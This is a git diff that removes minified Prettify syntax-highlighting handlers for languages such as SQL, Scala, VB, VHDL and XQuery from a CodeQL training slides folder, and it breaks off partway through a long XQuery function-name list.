--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-proto.js
+++ /dev/null
@@ -1 +0,0 @@
-PR.registerLangHandler(PR.sourceDecorator({keywords:"bytes,default,double,enum,extend,extensions,false,group,import,max,message,option,optional,package,repeated,required,returns,rpc,service,syntax,to,true",types:/^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\b/,cStyleComments:!0}),["proto"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-scala.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-scala.js
deleted file mode 100644
index 60d034de4954..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-scala.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["str",/^"(?:""(?:""?(?!")|[^"\\]|\\.)*"{0,3}|(?:[^\n\r"\\]|\\.)*"?)/,null,'"'],["lit",/^`(?:[^\n\r\\`]|\\.)*`?/,null,"`"],["pun",/^[!#%&(--:-@[-^{-~]+/,null,"!#%&()*+,-:;<=>?@[\\]^{|}~"]],[["str",/^'(?:[^\n\r'\\]|\\(?:'|[^\n\r']+))'/],["lit",/^'[$A-Z_a-z][\w$]*(?![\w$'])/],["kwd",/^(?:abstract|case|catch|class|def|do|else|extends|final|finally|for|forSome|if|implicit|import|lazy|match|new|object|override|package|private|protected|requires|return|sealed|super|throw|trait|try|type|val|var|while|with|yield)\b/],
-["lit",/^(?:true|false|null|this)\b/],["lit",/^(?:0(?:[0-7]+|x[\da-f]+)l?|(?:0|[1-9]\d*)(?:(?:\.\d+)?(?:e[+-]?\d+)?f?|l?)|\\.\d+(?:e[+-]?\d+)?f?)/i],["typ",/^[$_]*[A-Z][\d$A-Z_]*[a-z][\w$]*/],["pln",/^[$A-Z_a-z][\w$]*/],["com",/^\/(?:\/.*|\*(?:\/|\**[^*/])*(?:\*+\/?)?)/],["pun",/^(?:\.+|\/)/]]),["scala"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-sql.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-sql.js
deleted file mode 100644
index da705b0b6780..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-sql.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["str",/^(?:"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')/,null,"\"'"]],[["com",/^(?:--[^\n\r]*|\/\*[\S\s]*?(?:\*\/|$))/],["kwd",/^(?:add|all|alter|and|any|as|asc|authorization|backup|begin|between|break|browse|bulk|by|cascade|case|check|checkpoint|close|clustered|coalesce|collate|column|commit|compute|constraint|contains|containstable|continue|convert|create|cross|current|current_date|current_time|current_timestamp|current_user|cursor|database|dbcc|deallocate|declare|default|delete|deny|desc|disk|distinct|distributed|double|drop|dummy|dump|else|end|errlvl|escape|except|exec|execute|exists|exit|fetch|file|fillfactor|for|foreign|freetext|freetexttable|from|full|function|goto|grant|group|having|holdlock|identity|identitycol|identity_insert|if|in|index|inner|insert|intersect|into|is|join|key|kill|left|like|lineno|load|match|merge|national|nocheck|nonclustered|not|null|nullif|of|off|offsets|on|open|opendatasource|openquery|openrowset|openxml|option|or|order|outer|over|percent|plan|precision|primary|print|proc|procedure|public|raiserror|read|readtext|reconfigure|references|replication|restore|restrict|return|revoke|right|rollback|rowcount|rowguidcol|rule|save|schema|select|session_user|set|setuser|shutdown|some|statistics|system_user|table|textsize|then|to|top|tran|transaction|trigger|truncate|tsequal|union|unique|update|updatetext|use|user|using|values|varying|view|waitfor|when|where|while|with|writetext)(?=[^\w-]|$)/i,
-null],["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i],["pln",/^[_a-z][\w-]*/i],["pun",/^[^\w\t\n\r "'\xa0][^\w\t\n\r "'+\xa0-]*/]]),["sql"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-tex.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-tex.js
deleted file mode 100644
index ce96fbbd1f4f..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-tex.js
+++ /dev/null
@@ -1 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["com",/^%[^\n\r]*/,null,"%"]],[["kwd",/^\\[@-Za-z]+/],["kwd",/^\\./],["typ",/^[$&]/],["lit",/[+-]?(?:\.\d+|\d+(?:\.\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],["pun",/^[()=[\]{}]+/]]),["latex","tex"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-vb.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-vb.js
deleted file mode 100644
index 07506b03cd40..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-vb.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0\u2028\u2029]+/,null,"\t\n\r Â\xa0

"],["str",/^(?:["\u201c\u201d](?:[^"\u201c\u201d]|["\u201c\u201d]{2})(?:["\u201c\u201d]c|$)|["\u201c\u201d](?:[^"\u201c\u201d]|["\u201c\u201d]{2})*(?:["\u201c\u201d]|$))/i,null,'"“â€�'],["com",/^['\u2018\u2019].*/,null,"'‘’"]],[["kwd",/^(?:addhandler|addressof|alias|and|andalso|ansi|as|assembly|auto|boolean|byref|byte|byval|call|case|catch|cbool|cbyte|cchar|cdate|cdbl|cdec|char|cint|class|clng|cobj|const|cshort|csng|cstr|ctype|date|decimal|declare|default|delegate|dim|directcast|do|double|each|else|elseif|end|endif|enum|erase|error|event|exit|finally|for|friend|function|get|gettype|gosub|goto|handles|if|implements|imports|in|inherits|integer|interface|is|let|lib|like|long|loop|me|mod|module|mustinherit|mustoverride|mybase|myclass|namespace|new|next|not|notinheritable|notoverridable|object|on|option|optional|or|orelse|overloads|overridable|overrides|paramarray|preserve|private|property|protected|public|raiseevent|readonly|redim|removehandler|resume|return|select|set|shadows|shared|short|single|static|step|stop|string|structure|sub|synclock|then|throw|to|try|typeof|unicode|until|variant|wend|when|while|with|withevents|writeonly|xor|endif|gosub|let|variant|wend)\b/i,
-null],["com",/^rem.*/i],["lit",/^(?:true\b|false\b|nothing\b|\d+(?:e[+-]?\d+[dfr]?|[dfilrs])?|(?:&h[\da-f]+|&o[0-7]+)[ils]?|\d*\.\d+(?:e[+-]?\d+)?[dfr]?|#\s+(?:\d+[/-]\d+[/-]\d+(?:\s+\d+:\d+(?::\d+)?(\s*(?:am|pm))?)?|\d+:\d+(?::\d+)?(\s*(?:am|pm))?)\s+#)/i],["pln",/^(?:(?:[a-z]|_\w)\w*|\[(?:[a-z]|_\w)\w*])/i],["pun",/^[^\w\t\n\r "'[\]\xa0\u2018\u2019\u201c\u201d\u2028\u2029]+/],["pun",/^(?:\[|])/]]),["vb","vbs"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-vhdl.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-vhdl.js
deleted file mode 100644
index 128b5b6cfc2f..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-vhdl.js
+++ /dev/null
@@ -1,3 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"]],[["str",/^(?:[box]?"(?:[^"]|"")*"|'.')/i],["com",/^--[^\n\r]*/],["kwd",/^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\w-]|$)/i,
-null],["typ",/^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\w-]|$)/i,null],["typ",/^'(?:active|ascending|base|delayed|driving|driving_value|event|high|image|instance_name|last_active|last_event|last_value|left|leftof|length|low|path_name|pos|pred|quiet|range|reverse_range|right|rightof|simple_name|stable|succ|transaction|val|value)(?=[^\w-]|$)/i,null],["lit",/^\d+(?:_\d+)*(?:#[\w.\\]+#(?:[+-]?\d+(?:_\d+)*)?|(?:\.\d+(?:_\d+)*)?(?:e[+-]?\d+(?:_\d+)*)?)/i],
-["pln",/^(?:[a-z]\w*|\\[^\\]*\\)/i],["pun",/^[^\w\t\n\r "'\xa0][^\w\t\n\r "'\xa0-]*/]]),["vhdl","vhd"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-wiki.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-wiki.js
deleted file mode 100644
index 9b0b44873f0f..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-wiki.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\d\t a-gi-z\xa0]+/,null,"\t Â\xa0abcdefgijklmnopqrstuvwxyz0123456789"],["pun",/^[*=[\]^~]+/,null,"=*~^[]"]],[["lang-wiki.meta",/(?:^^|\r\n?|\n)(#[a-z]+)\b/],["lit",/^[A-Z][a-z][\da-z]+[A-Z][a-z][^\W_]+\b/],["lang-",/^{{{([\S\s]+?)}}}/],["lang-",/^`([^\n\r`]+)`/],["str",/^https?:\/\/[^\s#/?]*(?:\/[^\s#?]*)?(?:\?[^\s#]*)?(?:#\S*)?/i],["pln",/^(?:\r\n|[\S\s])[^\n\r#*=A-[^`h{~]*/]]),["wiki"]);
-PR.registerLangHandler(PR.createSimpleLexer([["kwd",/^#[a-z]+/i,null,"#"]],[]),["wiki.meta"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-xq.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-xq.js
deleted file mode 100644
index e323ae323705..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-xq.js
+++ /dev/null
@@ -1,3 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["var pln",/^\$[\w-]+/,null,"$"]],[["pln",/^[\s=][<>][\s=]/],["lit",/^@[\w-]+/],["tag",/^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["com",/^\(:[\S\s]*?:\)/],["pln",/^[(),/;[\]{}]$/],["str",/^(?:"(?:[^"\\{]|\\[\S\s])*(?:"|$)|'(?:[^'\\{]|\\[\S\s])*(?:'|$))/,null,"\"'"],["kwd",/^(?:xquery|where|version|variable|union|typeswitch|treat|to|then|text|stable|sortby|some|self|schema|satisfies|returns|return|ref|processing-instruction|preceding-sibling|preceding|precedes|parent|only|of|node|namespace|module|let|item|intersect|instance|in|import|if|function|for|follows|following-sibling|following|external|except|every|else|element|descending|descendant-or-self|descendant|define|default|declare|comment|child|cast|case|before|attribute|assert|ascending|as|ancestor-or-self|ancestor|after|eq|order|by|or|and|schema-element|document-node|node|at)\b/],
-["typ",/^(?:xs:yearMonthDuration|xs:unsignedLong|xs:time|xs:string|xs:short|xs:QName|xs:Name|xs:long|xs:integer|xs:int|xs:gYearMonth|xs:gYear|xs:gMonthDay|xs:gDay|xs:float|xs:duration|xs:double|xs:decimal|xs:dayTimeDuration|xs:dateTime|xs:date|xs:byte|xs:boolean|xs:anyURI|xf:yearMonthDuration)\b/,null],["fun pln",/^(?:xp:dereference|xinc:node-expand|xinc:link-references|xinc:link-expand|xhtml:restructure|xhtml:clean|xhtml:add-lists|xdmp:zip-manifest|xdmp:zip-get|xdmp:zip-create|xdmp:xquery-version|xdmp:word-convert|xdmp:with-namespaces|xdmp:version|xdmp:value|xdmp:user-roles|xdmp:user-last-login|xdmp:user|xdmp:url-encode|xdmp:url-decode|xdmp:uri-is-file|xdmp:uri-format|xdmp:uri-content-type|xdmp:unquote|xdmp:unpath|xdmp:triggers-database|xdmp:trace|xdmp:to-json|xdmp:tidy|xdmp:subbinary|xdmp:strftime|xdmp:spawn-in|xdmp:spawn|xdmp:sleep|xdmp:shutdown|xdmp:set-session-field|xdmp:set-response-encoding|xdmp:set-response-content-type|xdmp:set-response-code|xdmp:set-request-time-limit|xdmp:set|xdmp:servers|xdmp:server-status|xdmp:server-name|xdmp:server|xdmp:security-database|xdmp:security-assert|xdmp:schema-database|xdmp:save|xdmp:role-roles|xdmp:role|xdmp:rethrow|xdmp:restart|xdmp:request-timestamp|xdmp:request-status|xdmp:request-cancel|xdmp:request|xdmp:redirect-response|xdmp:random|xdmp:quote|xdmp:query-trace|xdmp:query-meters|xdmp:product-edition|xdmp:privilege-roles|xdmp:privilege|xdmp:pretty-print|xdmp:powerpoint-convert|xdmp:platform|xdmp:permission|xdmp:pdf-convert|xdmp:path|xdmp:octal-to-integer|xdmp:node-uri|xdmp:node-replace|xdmp:node-kind|xdmp:node-insert-child|xdmp:node-insert-before|xdmp:node-insert-after|xdmp:node-delete|xdmp:node-database|xdmp:mul64|xdmp:modules-root|xdmp:modules-database|xdmp:merging|xdmp:merge-cancel|xdmp:merge|xdmp:md5|xdmp:logout|xdmp:login|xdmp:log-level|xdmp:log|xdmp:lock-release|xdmp:lock-acquire|xdmp:load|xdmp:invoke-in|xdmp:invoke|xdmp:integer-to-octal|xdmp:integer-to-hex|xdmp:http-put|xdmp:http-post|xdmp:http-options|xdmp:http-head|xdmp:http-get|xdmp:http-delete|xdmp:hosts|xdmp:host-status|xdmp:host-name|xdmp:host|xdmp:hex-to-integer|xdmp:hash64|xdmp:hash32|xdmp:has-privilege|xdmp:groups|xdmp:group-serves|xdmp:group-servers|xdmp:group-name|xdmp:group-hosts|xdmp:group|xdmp:get-session-field-names|xdmp:get-session-field|xdmp:get-response-encoding|xdmp:get-response-code|xdmp:get-request-username|xdmp:get-request-user|xdmp:get-request-url|xdmp:get-request-protocol|xdmp:get-request-path|xdmp:get-request-method|xdmp:get-request-header-names|xdmp:get-request-header|xdmp:get-request-field-names|xdmp:get-request-field-filename|xdmp:get-request-field-content-type|xdmp:get-request-field|xdmp:get-request-client-certificate|xdmp:get-request-client-address|xdmp:get-request-body|xdmp:get-current-user|xdmp:get-current-roles|xdmp:get|xdmp:function-name|xdmp:function-module|xdmp:function|xdmp:from-json|xdmp:forests|xdmp:forest-status|xdmp:forest-restore|xdmp:forest-restart|xdmp:forest-name|xdmp:forest-delete|xdmp:forest-databases|xdmp:forest-counts|xdmp:forest-clear|xdmp:forest-backup|xdmp:forest|xdmp:filesystem-file|xdmp:filesystem-directory|xdmp:exists|xdmp:excel-convert|xdmp:eval-in|xdmp:eval|xdmp:estimate|xdmp:email|xdmp:element-content-type|xdmp:elapsed-time|xdmp:document-set-quality|xdmp:document-set-property|xdmp:document-set-properties|xdmp:document-set-permissions|xdmp:document-set-collections|xdmp:document-remove-properties|xdmp:document-remove-permissions|xdmp:document-remove-collections|xdmp:document-properties|xdmp:document-locks|xdmp:document-load|xdmp:document-insert|xdmp:document-get-quality|xdmp:document-get-properties|xdmp:document-get-permissions|xdmp:document-get-collections|xdmp:document-get|xdmp:document-forest|xdmp:document-delete|xdmp:document-add-properties|xdmp:document-add-permissions|xdmp:document-add-collections|xdmp:directory-properties|xdmp:directory-locks|xdmp:directory-delete|xdmp:directory-create|xdmp:directory|xdmp:diacritic-less|xdmp:describe|xdmp:default-permissions|xdmp:default-collections|xdmp:databases|xdmp:database-restore-validate|xdmp:database-restore-status|xdmp:database-restore-cancel|xdmp:database-restore|xdmp:database-name|xdmp:database-forests|xdmp:database-backup-validate|xdmp:database-backup-status|xdmp:database-backup-purge|xdmp:database-backup-cancel|xdmp:database-backup|xdmp:database|xdmp:collection-properties|xdmp:collection-locks|xdmp:collection-delete|xdmp:collation-canonical-uri|xdmp:castable-as|xdmp:can-grant-roles|xdmp:base64-encode|xdmp:base64-decode|xdmp:architecture|xdmp:apply|xdmp:amp-roles|xdmp:amp|xdmp:add64|xdmp:add-response-header|xdmp:access|trgr:trigger-set-recursive|trgr:trigger-set-permissions|trgr:trigger-set-name|trgr:trigger-set-module|trgr:trigger-set-event|trgr:trigger-set-description|trgr:trigger-remove-permissions|trgr:trigger-module|trgr:trigger-get-permissions|trgr:trigger-enable|trgr:trigger-disable|trgr:trigger-database-online-event|trgr:trigger-data-event|trgr:trigger-add-permissions|trgr:remove-trigger|trgr:property-content|trgr:pre-commit|trgr:post-commit|trgr:get-trigger-by-id|trgr:get-trigger|trgr:document-scope|trgr:document-content|trgr:directory-scope|trgr:create-trigger|trgr:collection-scope|trgr:any-property-content|thsr:set-entry|thsr:remove-term|thsr:remove-synonym|thsr:remove-entry|thsr:query-lookup|thsr:lookup|thsr:load|thsr:insert|thsr:expand|thsr:add-synonym|spell:suggest-detailed|spell:suggest|spell:remove-word|spell:make-dictionary|spell:load|spell:levenshtein-distance|spell:is-correct|spell:insert|spell:double-metaphone|spell:add-word|sec:users-collection|sec:user-set-roles|sec:user-set-password|sec:user-set-name|sec:user-set-description|sec:user-set-default-permissions|sec:user-set-default-collections|sec:user-remove-roles|sec:user-privileges|sec:user-get-roles|sec:user-get-description|sec:user-get-default-permissions|sec:user-get-default-collections|sec:user-doc-permissions|sec:user-doc-collections|sec:user-add-roles|sec:unprotect-collection|sec:uid-for-name|sec:set-realm|sec:security-version|sec:security-namespace|sec:security-installed|sec:security-collection|sec:roles-collection|sec:role-set-roles|sec:role-set-name|sec:role-set-description|sec:role-set-default-permissions|sec:role-set-default-collections|sec:role-remove-roles|sec:role-privileges|sec:role-get-roles|sec:role-get-description|sec:role-get-default-permissions|sec:role-get-default-collections|sec:role-doc-permissions|sec:role-doc-collections|sec:role-add-roles|sec:remove-user|sec:remove-role-from-users|sec:remove-role-from-role|sec:remove-role-from-privileges|sec:remove-role-from-amps|sec:remove-role|sec:remove-privilege|sec:remove-amp|sec:protect-collection|sec:privileges-collection|sec:privilege-set-roles|sec:privilege-set-name|sec:privilege-remove-roles|sec:privilege-get-roles|sec:privilege-add-roles|sec:priv-doc-permissions|sec:priv-doc-collections|sec:get-user-names|sec:get-unique-elem-id|sec:get-role-names|sec:get-role-ids|sec:get-privilege|sec:get-distinct-permissions|sec:get-collection|sec:get-amp|sec:create-user-with-role|sec:create-user|sec:create-role|sec:create-privilege|sec:create-amp|sec:collections-collection|sec:collection-set-permissions|sec:collection-remove-permissions|sec:collection-get-permissions|sec:collection-add-permissions|sec:check-admin|sec:amps-collection|sec:amp-set-roles|sec:amp-remove-roles|sec:amp-get-roles|sec:amp-doc-permissions|sec:amp-doc-collections|sec:amp-add-roles|search:unparse|search:suggest|search:snippet|search:search|search:resolve-nodes|search:resolve|search:remove-constraint|search:parse|search:get-default-options|search:estimate|search:check-options|prof:value|prof:reset|prof:report|prof:invoke|prof:eval|prof:enable|prof:disable|prof:allowed|ppt:clean|pki:template-set-request|pki:template-set-name|pki:template-set-key-type|pki:template-set-key-options|pki:template-set-description|pki:template-in-use|pki:template-get-version|pki:template-get-request|pki:template-get-name|pki:template-get-key-type|pki:template-get-key-options|pki:template-get-id|pki:template-get-description|pki:need-certificate|pki:is-temporary|pki:insert-trusted-certificates|pki:insert-template|pki:insert-signed-certificates|pki:insert-certificate-revocation-list|pki:get-trusted-certificate-ids|pki:get-template-ids|pki:get-template-certificate-authority|pki:get-template-by-name|pki:get-template|pki:get-pending-certificate-requests-xml|pki:get-pending-certificate-requests-pem|pki:get-pending-certificate-request|pki:get-certificates-for-template-xml|pki:get-certificates-for-template|pki:get-certificates|pki:get-certificate-xml|pki:get-certificate-pem|pki:get-certificate|pki:generate-temporary-certificate-if-necessary|pki:generate-temporary-certificate|pki:generate-template-certificate-authority|pki:generate-certificate-request|pki:delete-template|pki:delete-certificate|pki:create-template|pdf:make-toc|pdf:insert-toc-headers|pdf:get-toc|pdf:clean|p:status-transition|p:state-transition|p:remove|p:pipelines|p:insert|p:get-by-id|p:get|p:execute|p:create|p:condition|p:collection|p:action|ooxml:runs-merge|ooxml:package-uris|ooxml:package-parts-insert|ooxml:package-parts|msword:clean|mcgm:polygon|mcgm:point|mcgm:geospatial-query-from-elements|mcgm:geospatial-query|mcgm:circle|math:tanh|math:tan|math:sqrt|math:sinh|math:sin|math:pow|math:modf|math:log10|math:log|math:ldexp|math:frexp|math:fmod|math:floor|math:fabs|math:exp|math:cosh|math:cos|math:ceil|math:atan2|math:atan|math:asin|math:acos|map:put|map:map|map:keys|map:get|map:delete|map:count|map:clear|lnk:to|lnk:remove|lnk:insert|lnk:get|lnk:from|lnk:create|kml:polygon|kml:point|kml:interior-polygon|kml:geospatial-query-from-elements|kml:geospatial-query|kml:circle|kml:box|gml:polygon|gml:point|gml:interior-polygon|gml:geospatial-query-from-elements|gml:geospatial-query|gml:circle|gml:box|georss:point|georss:geospatial-query|georss:circle|geo:polygon|geo:point|geo:interior-polygon|geo:geospatial-query-from-elements|geo:geospatial-query|geo:circle|geo:box|fn:zero-or-one|fn:years-from-duration|fn:year-from-dateTime|fn:year-from-date|fn:upper-case|fn:unordered|fn:true|fn:translate|fn:trace|fn:tokenize|fn:timezone-from-time|fn:timezone-from-dateTime|fn:timezone-from-date|fn:sum|fn:subtract-dateTimes-yielding-yearMonthDuration|fn:subtract-dateTimes-yielding-dayTimeDuration|fn:substring-before|fn:substring-after|fn:substring|fn:subsequence|fn:string-to-codepoints|fn:string-pad|fn:string-length|fn:string-join|fn:string|fn:static-base-uri|fn:starts-with|fn:seconds-from-time|fn:seconds-from-duration|fn:seconds-from-dateTime|fn:round-half-to-even|fn:round|fn:root|fn:reverse|fn:resolve-uri|fn:resolve-QName|fn:replace|fn:remove|fn:QName|fn:prefix-from-QName|fn:position|fn:one-or-more|fn:number|fn:not|fn:normalize-unicode|fn:normalize-space|fn:node-name|fn:node-kind|fn:nilled|fn:namespace-uri-from-QName|fn:namespace-uri-for-prefix|fn:namespace-uri|fn:name|fn:months-from-duration|fn:month-from-dateTime|fn:month-from-date|fn:minutes-from-time|fn:minutes-from-duration|fn:minutes-from-dateTime|fn:min|fn:max|fn:matches|fn:lower-case|fn:local-name-from-QName|fn:local-name|fn:last|fn:lang|fn:iri-to-uri|fn:insert-before|fn:index-of|fn:in-scope-prefixes|fn:implicit-timezone|fn:idref|fn:id|fn:hours-from-time|fn:hours-from-duration|fn:hours-from-dateTime|fn:floor|fn:false|fn:expanded-QName|fn:exists|fn:exactly-one|fn:escape-uri|fn:escape-html-uri|fn:error|fn:ends-with|fn:encode-for-uri|fn:empty|fn:document-uri|fn:doc-available|fn:doc|fn:distinct-values|fn:distinct-nodes|fn:default-collation|fn:deep-equal|fn:days-from-duration|fn:day-from-dateTime|fn:day-from-date|fn:data|fn:current-time|fn:current-dateTime|fn:current-date|fn:count|fn:contains|fn:concat|fn:compare|fn:collection|fn:codepoints-to-string|fn:codepoint-equal|fn:ceiling|fn:boolean|fn:base-uri|fn:avg|fn:adjust-time-to-timezone|fn:adjust-dateTime-to-timezone|fn:adjust-date-to-timezone|fn:abs|feed:unsubscribe|feed:subscription|feed:subscribe|feed:request|feed:item|feed:description|excel:clean|entity:enrich|dom:set-pipelines|dom:set-permissions|dom:set-name|dom:set-evaluation-context|dom:set-domain-scope|dom:set-description|dom:remove-pipeline|dom:remove-permissions|dom:remove|dom:get|dom:evaluation-context|dom:domains|dom:domain-scope|dom:create|dom:configuration-set-restart-user|dom:configuration-set-permissions|dom:configuration-set-evaluation-context|dom:configuration-set-default-domain|dom:configuration-get|dom:configuration-create|dom:collection|dom:add-pipeline|dom:add-permissions|dls:retention-rules|dls:retention-rule-remove|dls:retention-rule-insert|dls:retention-rule|dls:purge|dls:node-expand|dls:link-references|dls:link-expand|dls:documents-query|dls:document-versions-query|dls:document-version-uri|dls:document-version-query|dls:document-version-delete|dls:document-version-as-of|dls:document-version|dls:document-update|dls:document-unmanage|dls:document-set-quality|dls:document-set-property|dls:document-set-properties|dls:document-set-permissions|dls:document-set-collections|dls:document-retention-rules|dls:document-remove-properties|dls:document-remove-permissions|dls:document-remove-collections|dls:document-purge|dls:document-manage|dls:document-is-managed|dls:document-insert-and-manage|dls:document-include-query|dls:document-history|dls:document-get-permissions|dls:document-extract-part|dls:document-delete|dls:document-checkout-status|dls:document-checkout|dls:document-checkin|dls:document-add-properties|dls:document-add-permissions|dls:document-add-collections|dls:break-checkout|dls:author-query|dls:as-of-query|dbk:convert|dbg:wait|dbg:value|dbg:stopped|dbg:stop|dbg:step|dbg:status|dbg:stack|dbg:out|dbg:next|dbg:line|dbg:invoke|dbg:function|dbg:finish|dbg:expr|dbg:eval|dbg:disconnect|dbg:detach|dbg:continue|dbg:connect|dbg:clear|dbg:breakpoints|dbg:break|dbg:attached|dbg:attach|cvt:save-converted-documents|cvt:part-uri|cvt:destination-uri|cvt:basepath|cvt:basename|cts:words|cts:word-query-weight|cts:word-query-text|cts:word-query-options|cts:word-query|cts:word-match|cts:walk|cts:uris|cts:uri-match|cts:train|cts:tokenize|cts:thresholds|cts:stem|cts:similar-query-weight|cts:similar-query-nodes|cts:similar-query|cts:shortest-distance|cts:search|cts:score|cts:reverse-query-weight|cts:reverse-query-nodes|cts:reverse-query|cts:remainder|cts:registered-query-weight|cts:registered-query-options|cts:registered-query-ids|cts:registered-query|cts:register|cts:query|cts:quality|cts:properties-query-query|cts:properties-query|cts:polygon-vertices|cts:polygon|cts:point-longitude|cts:point-latitude|cts:point|cts:or-query-queries|cts:or-query|cts:not-query-weight|cts:not-query-query|cts:not-query|cts:near-query-weight|cts:near-query-queries|cts:near-query-options|cts:near-query-distance|cts:near-query|cts:highlight|cts:geospatial-co-occurrences|cts:frequency|cts:fitness|cts:field-words|cts:field-word-query-weight|cts:field-word-query-text|cts:field-word-query-options|cts:field-word-query-field-name|cts:field-word-query|cts:field-word-match|cts:entity-highlight|cts:element-words|cts:element-word-query-weight|cts:element-word-query-text|cts:element-word-query-options|cts:element-word-query-element-name|cts:element-word-query|cts:element-word-match|cts:element-values|cts:element-value-ranges|cts:element-value-query-weight|cts:element-value-query-text|cts:element-value-query-options|cts:element-value-query-element-name|cts:element-value-query|cts:element-value-match|cts:element-value-geospatial-co-occurrences|cts:element-value-co-occurrences|cts:element-range-query-weight|cts:element-range-query-value|cts:element-range-query-options|cts:element-range-query-operator|cts:element-range-query-element-name|cts:element-range-query|cts:element-query-query|cts:element-query-element-name|cts:element-query|cts:element-pair-geospatial-values|cts:element-pair-geospatial-value-match|cts:element-pair-geospatial-query-weight|cts:element-pair-geospatial-query-region|cts:element-pair-geospatial-query-options|cts:element-pair-geospatial-query-longitude-name|cts:element-pair-geospatial-query-latitude-name|cts:element-pair-geospatial-query-element-name|cts:element-pair-geospatial-query|cts:element-pair-geospatial-boxes|cts:element-geospatial-values|cts:element-geospatial-value-match|cts:element-geospatial-query-weight|cts:element-geospatial-query-region|cts:element-geospatial-query-options|cts:element-geospatial-query-element-name|cts:element-geospatial-query|cts:element-geospatial-boxes|cts:element-child-geospatial-values|cts:element-child-geospatial-value-match|cts:element-child-geospatial-query-weight|cts:element-child-geospatial-query-region|cts:element-child-geospatial-query-options|cts:element-child-geospatial-query-element-name|cts:element-child-geospatial-query-child-name|cts:element-child-geospatial-query|cts:element-child-geospatial-boxes|cts:element-attribute-words|cts:element-attribute-word-query-weight|cts:element-attribute-word-query-text|cts:element-attribute-word-query-options|cts:element-attribute-word-query-element-name|cts:element-attribute-word-query-attribute-name|cts:element-attribute-word-query|cts:element-attribute-word-match|cts:element-attribute-values|cts:element-attribute-value-ranges|cts:element-attribute-value-query-weight|cts:element-attribute-value-query-text|cts:element-attribute-value-query-options|cts:element-attribute-value-query-element-name|cts:element-attribute-value-query-attribute-name|cts:element-attribute-value-query|cts:element-attribute-value-match|cts:element-attribute-value-geospatial-co-occurrences|cts:element-attribute-value-co-occurrences|cts:element-attribute-range-query-weight|cts:element-attribute-range-query-value|cts:element-attribute-range-query-options|cts:element-attribute-range-query-operator|cts:element-attribute-range-query-element-name|cts:element-attribute-range-query-attribute-name|cts:element-attribute-range-query|cts:element-attribute-pair-geospatial-values|cts:element-attribute-pair-geospatial-value-match|cts:element-attribute-pair-geospatial-query-weight|cts:element-attribute-pair-geospatial-query-region|cts:element-attribute-pair-geospatial-query-options|cts:element-attribute-pair-geospatial-query-longitude-name|cts:element-attribute-pair-geospatial-query-latitude-name|cts:element-attribute-pair-geospatial-query-element-name|cts:element-attribute-pair-geospatial-query|cts:element-attribute-pair-geospatial-boxes|cts:document-query-uris|cts:document-query|cts:distance|cts:directory-query-uris|cts:directory-query-depth|cts:directory-query|cts:destination|cts:deregister|cts:contains|cts:confidence|cts:collections|cts:collection-query-uris|cts:collection-query|cts:collection-match|cts:classify|cts:circle-radius|cts:circle-center|cts:circle|cts:box-west|cts:box-south|cts:box-north|cts:box-east|cts:box|cts:bearing|cts:arc-intersection|ct